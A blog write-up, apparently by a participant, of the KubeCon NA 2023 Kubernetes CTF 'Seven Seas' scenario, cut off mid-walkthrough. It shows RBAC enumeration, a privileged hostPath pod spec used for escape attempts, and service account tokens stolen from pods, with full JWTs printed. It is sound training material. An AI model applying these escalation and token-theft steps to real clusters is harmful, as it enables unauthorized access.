Table of Contents

Introduction

Following on shortly from the EKS Cluster Games was Kubecon NA 2023. As is tradition, ControlPlane ran an absolutely amazing CTF which encompassed a number of areas of Kubernetes security from container breakouts to manipulating network policies. So of course, as always, I took part. This post goes over the three scenarios they had, and how I approached them - from what I remember at least.

The challenges are apparently being open-sourced early next year, so if you do plan on giving them a go when that happens, maybe delay reading this :P

Seven Seas

The objective of the first scenario was to find the Royal Fortune, whatever that is. Not being entirely sure what or where that is apart from maybe being shiny, the first step is to always enumerate. By running a command that is probably gonna be permission denied, we can get our current namespace and service account. We could also look in /var/run/secrets/kubernetes.io/serviceaccount and check the namespace file and decode the token, but where’s the fun in that.

Arctic

swashbyter@fancy:/$ kubectl get -A secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:arctic:swashbyter" cannot list resource "secrets" in API group "" at the cluster scope

So we are within the arctic namespace and the swashbyter service account. Let’s find out what they can do.

swashbyter@fancy:/$ kubectl auth can-i --list
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]

Oh nice, they have list all namespaces. That’ll help us enumerate the permissions throughout the cluster instead of just this single namespace as well as give us some initial indications on the size of the cluster, etc.

swashbyter@fancy:/$ kubectl get ns
NAME              STATUS   AGE
arctic            Active   40m
default           Active   42m
indian            Active   40m
kube-node-lease   Active   42m
kube-public       Active   42m
kube-system       Active   42m
kyverno           Active   40m
north-atlantic    Active   40m
north-pacific     Active   40m
south-atlantic    Active   40m
south-pacific     Active   40m
southern          Active   40m

Well, I can see why the challenge is called the seven seas xD We can pass each of those namespaces in to figure out what permissions this service account has in each namespace. The following is a quick bash one-liner to quickly enumerate permissions and filter out the standard things that are always seen. Considering the numbe of namespaces, I thought it likely we would need this quite a bit.

swashbyter@fancy:/$ kubectl get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
arctic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

default
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

indian
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-node-lease
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-public
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

kyverno
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

north-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]
secrets                                         []                                    []               [get list]

north-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

south-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
pods/exec                                       []                                    []               [create delete get list patch update watch]
pods                                            []                                    []               [create delete get list patch update watch]
namespaces                                      []                                    []               [get list]
serviceaccounts                                 []                                    []               [get list]

south-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

southern
Resources                                       Non-Resource URLs                     Resource Names   Verbs
namespaces                                      []                                    []               [get list]

Interesting, so this has permissions to read secrets in the north-atlantic namespace, and has various pod and service account permissions in the south-atlantic namespace. The easiest place to start would be north-atlantic.

North Atlantic

swashbyter@fancy:/$ kubectl -n north-atlantic get secrets
NAME             TYPE     DATA   AGE
treasure-map-2   Opaque   1      47m

Ooh a treasure map, that’s probably going to take us to the royal treasure. We probably need to collect all the pieces and put them together. Retrieving and decoding it, leads to multiple lines of what looks to be base64 encoded data. We’ll just save it for now and get back to that later.

swashbyter@fancy:/$ kubectl -n north-atlantic get secrets -o yaml
apiVersion: v1
items:
- apiVersion: v1
  data:
    treasure-map-2: VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ==
  kind: Secret
  metadata:
    name: treasure-map-2
    namespace: north-atlantic
    [..SNIP..]
  type: Opaque
kind: List
metadata:
  resourceVersion: ""
swashbyter@fancy:/$ base64 -d <<< VHlSWU1OMzRaSkEvSDlBTk4wQkZHVTFjSXNvSFYwWGpzanVSZi83V0duY2tWY1lBcTNMbzBCL0ZaVFFGWm41Tk1OenE5UQplejdvZ1RyMmNLalNXNVh5VlBsdmdnc0Q5dHJ4ZkFoOSttNEN3cWpBMWN0c1RBVG1pQUZxVzJxNU1KSG51bXNrSGZBUzFvCkY5RWF3ZEExNkJQRFF3U3Rma2pkYS9rQjNyQWhDNWUrYlFJcUZydkFpeFUramh3c2RRVS9MVitpWjZYUmJybjBUL20wZTQKUytGT2t6bDhUTkZkOTFuK01BRFd3dktzTmd6TXFWZkwwL1NXRGlzaXM0U2g1NFpkYXB0VVM2MG5rTUlnWDNzUDY1VUZYRQpESWpVSjkzY1F2ZkxZMFc0ZWVIcllhYzJTWjRqOEtlU0g4d2ZsVFVveTg4T2NGbDdmM0pQM29KMU1WVkZWckg4TDZpTlNMCmNBQUFkSXp5cWlVczhxb2xJQUFBQUhjM05vTFhKellRQUFBZ0VBc05vd1A4amxGZUIrUUEzTGY1bkREa3pBODA5OW9PTzIKOGU3bEdlVHNrNjFtRGpRa3JIc1FneGt4YjBRcEJVTW9leGl2Y3BLWGt3bStuU0x4YmpVbjVJVzhURlloL3lneWtXOFViTQ==; echo
TyRYMN34ZJA/H9ANN0BFGU1cIsoHV0XjsjuRf/7WGnckVcYAq3Lo0B/FZTQFZn5NMNzq9Q
ez7ogTr2cKjSW5XyVPlvggsD9trxfAh9+m4CwqjA1ctsTATmiAFqW2q5MJHnumskHfAS1o
F9EawdA16BPDQwStfkjda/kB3rAhC5e+bQIqFrvAixU+jhwsdQU/LV+iZ6XRbrn0T/m0e4
S+FOkzl8TNFd91n+MADWwvKsNgzMqVfL0/SWDisis4Sh54ZdaptUS60nkMIgX3sP65UFXE
DIjUJ93cQvfLY0W4eeHrYac2SZ4j8KeSH8wflTUoy88OcFl7f3JP3oJ1MVVFVrH8L6iNSL
cAAAdIzyqiUs8qolIAAAAHc3NoLXJzYQAAAgEAsNowP8jlFeB+QA3Lf5nDDkzA8099oOO2
8e7lGeTsk61mDjQkrHsQgxkxb0QpBUMoexivcpKXkwm+nSLxbjUn5IW8TFYh/ygykW8UbM

South Atlantic

Shifting our eyes to the south atlantic. It’s got permissions to list the service accounts, and create and execute into pods. I see a few immediate avenues here:

  1. Create pods with each service account and obtain their tokens for further RBAC pivoting
  2. Create a privileged pod and see what can be accessed on the host
  3. Check existing pods to see if they have anything nice

In order of priority, I’d say its 3, 1, 2. 3 should be quick and easy and 1 feels like the intended path by the fact they gave us the list of service accounts.

swashbyter@fancy:/$ kubectl -n south-atlantic get pods
No resources found in south-atlantic namespace.

See 3 was super easy, it was just a single command. OK, let’s now see what service accounts we can try to take over.

swashbyter@fancy:/$ kubectl -n south-atlantic get sa
NAME      SECRETS   AGE
default   0         53m
invader   0         53m

Just the two, easy enough. We can create some quick pod specs to utilise each service account, and then go in and cat out the service account tokens. Of course, while we’re at it… why not also throw in some interesting fields into the pod spec. The was my first attempt:

apiVersion: v1
kind: Pod
metadata:
  name: testing1
  namespace: south-atlantic
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  hostNetwork: true
  hostPID: true
  containers:
  - name: testing
    image: skybound/net-utils
    imagePullPolicy: IfNotPresent
    args: ["sleep", "100d"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
  volumes:
  - name: host
    hostPath:
      path: /

Of course, as half expected, it didn’t work.

swashbyter@fancy:/tmp$ kubectl -n south-atlantic apply -f pod.yml
Error from server: error when creating "pod.yml": admission webhook "validate.kyverno.svc-fail" denied the request:

resource Pod/south-atlantic/testing1 was blocked due to the following policies

disallow-host-path:
  host-path: 'validation error: Nice try! HostPath volumes are forbidden. Rule host-path
    failed at path /spec/volumes/0/hostPath/'
disallow-privileged-containers:
  privileged-containers: 'validation error: Nice try! Privileged mode is disallowed.
    Rule privileged-containers failed at path /spec/containers/1/securityContext/privileged/'

Although looking at the policies, it looks like it’s just the privileged and hostPath, does that mean hostNetwork and hostPID are fine?

Let’s try again with the following:

apiVersion: v1
kind: Pod
metadata:
  name: testing1
  namespace: south-atlantic
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  hostNetwork: true
  hostPID: true
  containers:
  - name: testing
    image: skybound/net-utils
    imagePullPolicy: IfNotPresent
    args: ["sleep", "100d"]

And it deployed!

swashbyter@fancy:/tmp$ kubectl apply -f pod.yml
pod/testing1 created
swashbyter@fancy:/tmp$ kubectl -n south-atlantic get pods
NAME       READY   STATUS              RESTARTS   AGE
testing1   0/2     ContainerCreating   0          6s

Looking at the output, there look to be 2 containers in that pod. We just added 1, a sidecar must have been injected in by a mutating controller. That gives us another container we can explore:

swashbyter@fancy:/tmp$ kubectl -n south-atlantic get pods -o yaml
apiVersion: v1
items:
- apiVersion: v1
  kind: Pod
  metadata:
    name: testing1
    namespace: south-atlantic
    [..SNIP..]
  spec:
    containers:
    - command:
      - sleep
      - 2d
      image: docker.io/controlplaneoffsec/seven-seas:blockade-ship
      imagePullPolicy: IfNotPresent
      name: blockade-ship
      resources: {}
      securityContext:
        allowPrivilegeEscalation: false
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7dhd8
        readOnly: true
    - args:
      - sleep
      - 100d
      image: skybound/net-utils
      imagePullPolicy: IfNotPresent
      name: testing
      resources: {}
      terminationMessagePath: /dev/termination-log
      terminationMessagePolicy: File
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-7dhd8
        readOnly: true
    [..SNIP..]

Huh, a blockade ship, and it’s above my container… does that mean I’m the sidecar 🤔 ? Well, that at least gives us another area to look into. NOTE: kubectl exec will automatically select the first container if not specified, in this case the blockade container, we can specify which container we want to jump into with the -c flag.

swashbyter@fancy:/tmp$ kubectl -n south-atlantic exec -ti testing1 -- sh
Defaulted container "blockade-ship" out of: blockade-ship, testing
/ # ls
bin         dev         home        media       opt         root        sbin        sys         usr
contraband  etc         lib         mnt         proc        run         srv         tmp         var
/ # cd contraband/
/contraband # ls
treasure-map-3
/contraband # cat treasure-map-3
cW51TE1RK2NSdjJXMGR4ejh1MllqTG4yeXFEeThsSHNjcjVRVW9VTFNPRVZUdHAxQkxEQklnK3hJ
M1RyeWNlaHVWOVFhawozV2ttRW4xV1hRY2RZS2hNS0R0T2RvMVhWV05OcTdYdW1zREFhdnBnVDJ5
a3EraHA4RU5JVXpqZ0lmU2E3ZkVoQzNkMmtGCkI3V0xNVFBtQTFSY08wL0QzU2RVWndrWi8xcWx4
bjdjMEw2ZG9XLzdSRWJwMzFKS096SHl1ckRycy9tRnBpNFF5aFlzZkkKYVd0bjFjS3FTVzVNdW1p
V0ppNGJUeVJZTU4zNFpKQS9IOUFOTjBCRkdVMWNJc29IVjBYanNqdVJmLzdXR25ja1ZjWUFxMwpM
bzBCL0ZaVFFGWm41Tk1OenE5UWV6N29nVHIyY0tqU1c1WHlWUGx2Z2dzRDl0cnhmQWg5K200Q3dx
akExY3RzVEFUbWlBCkZxVzJxNU1KSG51bXNrSGZBUzFvRjlFYXdkQTE2QlBEUXdTdGZramRhL2tC
M3JBaEM1ZStiUUlxRnJ2QWl4VStqaHdzZFEKVS9MVitpWjZYUmJybjBUL20wZTRTK0ZPa3psOFRO
RmQ5MW4rTUFEV3d2S3NOZ3pNcVZmTDAvU1dEaXNpczRTaDU0WmRhcA==/contraband # cat treasure-map-3 | base64 -d ; echo
qnuLMQ+cRv2W0dxz8u2YjLn2yqDy8lHscr5QUoULSOEVTtp1BLDBIg+xI3TrycehuV9Qak
3WkmEn1WXQcdYKhMKDtOdo1XVWNNq7XumsDAavpgT2ykq+hp8ENIUzjgIfSa7fEhC3d2kF
B7WLMTPmA1RcO0/D3SdUZwkZ/1qlxn7c0L6doW/7REbp31JKOzHyurDrs/mFpi4QyhYsfI
aWtn1cKqSW5MumiWJi4bTyRYMN34ZJA/H9ANN0BFGU1cIsoHV0XjsjuRf/7WGnckVcYAq3
Lo0B/FZTQFZn5NMNzq9Qez7ogTr2cKjSW5XyVPlvggsD9trxfAh9+m4CwqjA1ctsTATmiA
FqW2q5MJHnumskHfAS1oF9EawdA16BPDQwStfkjda/kB3rAhC5e+bQIqFrvAixU+jhwsdQ
U/LV+iZ6XRbrn0T/m0e4S+FOkzl8TNFd91n+MADWwvKsNgzMqVfL0/SWDisis4Sh54Zdap
/contraband #

Ah excellent, another treasure piece. Although, we seemed to have missed one… Guess we need to come back at some point to figure out where that was. For now, onwards to the service account tokens.

swashbyter@fancy:/tmp$ kubectl -n south-atlantic exec -ti testing1 -c testing -- cat /var/run/secrets/kubernetes.io/serviceaccount/token; echo
eyJhbGciOiJSUzI1NiIsImtpZCI6IjF3eDByVktBZ1p2aGlORkR0bDFGdm1TT3NkME05amJteGI4bmtPZEl2UmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTIxNjE5LCJpYXQiOjE2OTk5ODU2MTksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzb3V0aC1hdGxhbnRpYyIsInBvZCI6eyJuYW1lIjoidGVzdGluZzEiLCJ1aWQiOiIxYTU0Y2JmYi1iN2M2LTQ4MzEtYTRmOC1jNjY0NmU4YWM2YTYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiI2MjM5ZTRjOS00ZWJjLTQ1NzItOGEwNy0zYzcyMGI2ODk0YjYifSwid2FybmFmdGVyIjoxNjk5OTg5MjI2fSwibmJmIjoxNjk5OTg1NjE5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6c291dGgtYXRsYW50aWM6ZGVmYXVsdCJ9.BP61ayYarYAxLM8bCbOHYBlg1PmmTxgbIXTgc6w925mTnpZ6dK_RJ2V5hXWCvDTrqjzJFC_FrjvqiApJ1gTOIImGobvNXqdiyIWWCVByznfK-vEcp0MHOM8IFYdx1XdxuPPgWFXIp3MV0sLq_vWtz8D397aD90Z6df0XnVTtp-obE7TQv8nnSSUSgBp18UJk50lP6Vv0p6mt_wbylVubYRR3nZ-llBto-XpHQWmFRPS03FAmjBUdmnS2P4xEpsDh0z1305wW260Da886aiFIHmhZShfJXRNY6n7BkNQSxH5rvklvmgpbyq0XeipIPGPBGWGkMb9Bi8jirX3gM8f2eA

That’s the default service account token, now we can just tweak and re-deploy the pod to get the invader token.

swashbyter@fancy:/tmp$ vim pod.yml
swashbyter@fancy:/tmp$ cat pod.yml
apiVersion: v1
kind: Pod
metadata:
  name: testing1
  namespace: south-atlantic
spec:
  tolerations:
  - key: node-role.kubernetes.io/master
    operator: Exists
    effect: NoSchedule
  hostNetwork: true
  serviceAccountName: invader
  hostPID: true
  containers:
  - name: testing
    image: skybound/net-utils
    imagePullPolicy: IfNotPresent
    args: ["sleep", "100d"]
swashbyter@fancy:/tmp$ kubectl delete -f pod.yml ; kubectl apply -f pod.yml
pod "testing1" deleted
pod/testing1 created
swashbyter@fancy:/tmp$ kubectl -n south-atlantic get pods
NAME       READY   STATUS    RESTARTS   AGE
testing1   2/2     Running   0          24s
swashbyter@fancy:/tmp$ kubectl -n south-atlantic exec ^C
swashbyter@fancy:/tmp$ kubectl -n south-atlantic exec -ti testing1 -c testing -- cat /var/run/secrets/kubernetes.io/serviceaccount/token; echo
eyJhbGciOiJSUzI1NiIsImtpZCI6IjF3eDByVktBZ1p2aGlORkR0bDFGdm1TT3NkME05amJteGI4bmtPZEl2UmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTIyMDg2LCJpYXQiOjE2OTk5ODYwODYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzb3V0aC1hdGxhbnRpYyIsInBvZCI6eyJuYW1lIjoidGVzdGluZzEiLCJ1aWQiOiI1MjMxNmQ4Mi1mNGIzLTRmNjQtYjRkMy1jMDM4MjRmYzdiMTcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImludmFkZXIiLCJ1aWQiOiIzMmY4ZDY1OS1iNWZiLTQ0YjEtYTgxNy0zODc1MjI4Y2NhODcifSwid2FybmFmdGVyIjoxNjk5OTg5NjkzfSwibmJmIjoxNjk5OTg2MDg2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6c291dGgtYXRsYW50aWM6aW52YWRlciJ9.TBQ9Sur57-f2USYk2OSDqCcZiqui1GdIXyDul8pFCK-_Lorvsr0MpMEaFqIBHDiZt7kE39xgQ8QrjEoZDBb6mIGIfd1NsWRthy6Pw7-KL9OQzmeUQgYu7Qp5SuSvs3DSuz8da-FYypCdyiw2f1PQHt2FPeHcjzk2xAdvqI6N3PmdZLkDGCAlMVcBRE3PGprq-QCrLvLwYro3sYk_6rSAE1ik9wqJZVOfAt-aEs7XvYtGV2oI058sxxudl_pn9VYbCnCI_1_JxIf6axamTugx6VvAfvMCPwsh2xa2u6fbSGBRIPNHKs_EPnZRj_1EVZcdmbe7xpS6ldh7OeLXsr9ssw

Great, now we have 2 more tokens, let’s see what these can do in the cluster. Let’s start with default, my hunch is this won’t be anything special and invader is the main one we are after here.

swashbyter@fancy:/tmp$ export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IjF3eDByVktBZ1p2aGlORkR0bDFGdm1TT3NkME05amJteGI4bmtPZEl2UmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTIxNjE5LCJpYXQiOjE2OTk5ODU2MTksImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzb3V0aC1hdGxhbnRpYyIsInBvZCI6eyJuYW1lIjoidGVzdGluZzEiLCJ1aWQiOiIxYTU0Y2JmYi1iN2M2LTQ4MzEtYTRmOC1jNjY0NmU4YWM2YTYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiI2MjM5ZTRjOS00ZWJjLTQ1NzItOGEwNy0zYzcyMGI2ODk0YjYifSwid2FybmFmdGVyIjoxNjk5OTg5MjI2fSwibmJmIjoxNjk5OTg1NjE5LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6c291dGgtYXRsYW50aWM6ZGVmYXVsdCJ9.BP61ayYarYAxLM8bCbOHYBlg1PmmTxgbIXTgc6w925mTnpZ6dK_RJ2V5hXWCvDTrqjzJFC_FrjvqiApJ1gTOIImGobvNXqdiyIWWCVByznfK-vEcp0MHOM8IFYdx1XdxuPPgWFXIp3MV0sLq_vWtz8D397aD90Z6df0XnVTtp-obE7TQv8nnSSUSgBp18UJk50lP6Vv0p6mt_wbylVubYRR3nZ-llBto-XpHQWmFRPS03FAmjBUdmnS2P4xEpsDh0z1305wW260Da886aiFIHmhZShfJXRNY6n7BkNQSxH5rvklvmgpbyq0XeipIPGPBGWGkMb9Bi8jirX3gM8f2eA
swashbyter@fancy:/tmp$ kubectl get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl --token $TOKEN -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
arctic
error: You must be logged in to the server (Unauthorized)

default
error: You must be logged in to the server (Unauthorized)

indian
error: You must be logged in to the server (Unauthorized)

kube-node-lease
error: You must be logged in to the server (Unauthorized)

kube-public
error: You must be logged in to the server (Unauthorized)

kube-system
error: You must be logged in to the server (Unauthorized)

kyverno
error: You must be logged in to the server (Unauthorized)

north-atlantic
error: You must be logged in to the server (Unauthorized)

north-pacific
error: You must be logged in to the server (Unauthorized)

south-atlantic
error: You must be logged in to the server (Unauthorized)

south-pacific
error: You must be logged in to the server (Unauthorized)

southern
error: You must be logged in to the server (Unauthorized)

Well that was unexpected. Let’s check if it’s just the default token, or an issue with my command with the invader token.

swashbyter@fancy:/tmp$ export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6IjF3eDByVktBZ1p2aGlORkR0bDFGdm1TT3NkME05amJteGI4bmtPZEl2UmMifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzMxNTIyMDg2LCJpYXQiOjE2OTk5ODYwODYsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJzb3V0aC1hdGxhbnRpYyIsInBvZCI6eyJuYW1lIjoidGVzdGluZzEiLCJ1aWQiOiI1MjMxNmQ4Mi1mNGIzLTRmNjQtYjRkMy1jMDM4MjRmYzdiMTcifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImludmFkZXIiLCJ1aWQiOiIzMmY4ZDY1OS1iNWZiLTQ0YjEtYTgxNy0zODc1MjI4Y2NhODcifSwid2FybmFmdGVyIjoxNjk5OTg5NjkzfSwibmJmIjoxNjk5OTg2MDg2LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6c291dGgtYXRsYW50aWM6aW52YWRlciJ9.TBQ9Sur57-f2USYk2OSDqCcZiqui1GdIXyDul8pFCK-_Lorvsr0MpMEaFqIBHDiZt7kE39xgQ8QrjEoZDBb6mIGIfd1NsWRthy6Pw7-KL9OQzmeUQgYu7Qp5SuSvs3DSuz8da-FYypCdyiw2f1PQHt2FPeHcjzk2xAdvqI6N3PmdZLkDGCAlMVcBRE3PGprq-QCrLvLwYro3sYk_6rSAE1ik9wqJZVOfAt-aEs7XvYtGV2oI058sxxudl_pn9VYbCnCI_1_JxIf6axamTugx6VvAfvMCPwsh2xa2u6fbSGBRIPNHKs_EPnZRj_1EVZcdmbe7xpS6ldh7OeLXsr9ssw
swashbyter@fancy:/tmp$ kubectl get ns | awk '{print $1}' | grep -v NAME | while read ns ; do echo $ns; kubectl --token $TOKEN -n $ns auth can-i --list | grep -vE '^ ' | grep -v selfsubject; echo; done
arctic
Resources                                       Non-Resource URLs                     Resource Names   Verbs

default
Resources                                       Non-Resource URLs                     Resource Names   Verbs

indian
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kube-node-lease
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kube-public
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kube-system
Resources                                       Non-Resource URLs                     Resource Names   Verbs

kyverno
Resources                                       Non-Resource URLs                     Resource Names   Verbs

north-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs

north-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs

south-atlantic
Resources                                       Non-Resource URLs                     Resource Names   Verbs
pods/exec                                       []                                    []               [create]
pods                                            []                                    []               [get list]

south-pacific
Resources                                       Non-Resource URLs                     Resource Names   Verbs

southern
Resources                                       Non-Resource URLs                     Resource Names   Verbs
pods/exec                                       []                                    []               [create]
pods                                            []                                    []               [get list]

Right so just the default token… weird, but the invader has permissions in south atlantic (same as what we already have?) and in the southern namespace. Guess we’re moving to the southern namespace. This namespace just seems to have exec into pods we can list, so chances are there is something in an existing pod.

Southern

swashbyter@fancy:/tmp$ alias k="kubectl --token $TOKEN -n southern"
swashbyter@fancy:/tmp$ k get pods
NAME            READY   STATUS    RESTARTS   AGE
whydah-galley   1/1     Running   0          84m

Single pod, and single container. Not much to go through then.

swashbyter@fancy:/tmp$ k exec -ti whydah-galley -- bash
root@whydah-galley:/# ls
bin  boot  dev	etc  home  lib	lib32  lib64  libx32  media  mnt  opt  proc  root  run	sbin  srv  sys	tmp  usr  var
root@whydah-galley:/# kubectl get -A secret
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:southern:terrible-disguise" cannot list resource "secrets" in API group "" at the cluster scope
root@whydah-galley:/# mount
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/39/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/31/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/30/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/29/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/28/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/25/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/40/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/40/work)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime)
/dev/root on /mnt type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /dev/termination-log type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro)
/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k,inode64)
tmpfs on /run/secrets/kubernetes.io/serviceaccount type tmpfs (ro,relatime,size=3912688k,inode64)
proc on /proc/bus type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/fs type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/irq type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sys type proc (ro,nosuid,nodev,noexec,relatime)
proc on /proc/sysrq-trigger type proc (ro,nosuid,nodev,noexec,relatime)
tmpfs on /proc/acpi type tmpfs (ro,relatime,inode64)
tmpfs on /proc/kcore type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/keys type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/timer_list type tmpfs (rw,nosuid,size=65536k,mode=755,inode64)
tmpfs on /proc/scsi type tmpfs (ro,relatime,inode64)
tmpfs on /sys/firmware type tmpfs (ro,relatime,inode64)

Quick basic enumeration shows we now have the terrible-disguise service account, but also interestingly there is a mount to /mnt which is non-standard.

root@whydah-galley:/# cd mnt/
root@whydah-galley:/mnt# ls -alp
total 12
drwxr-xr-x  3 root root 4096 Nov 14 17:02 ./
drwxr-xr-x  1 root root 4096 Nov 14 17:02 ../
drwxr-xr-x 13 root root 4096 Nov 14 17:02 .cache/
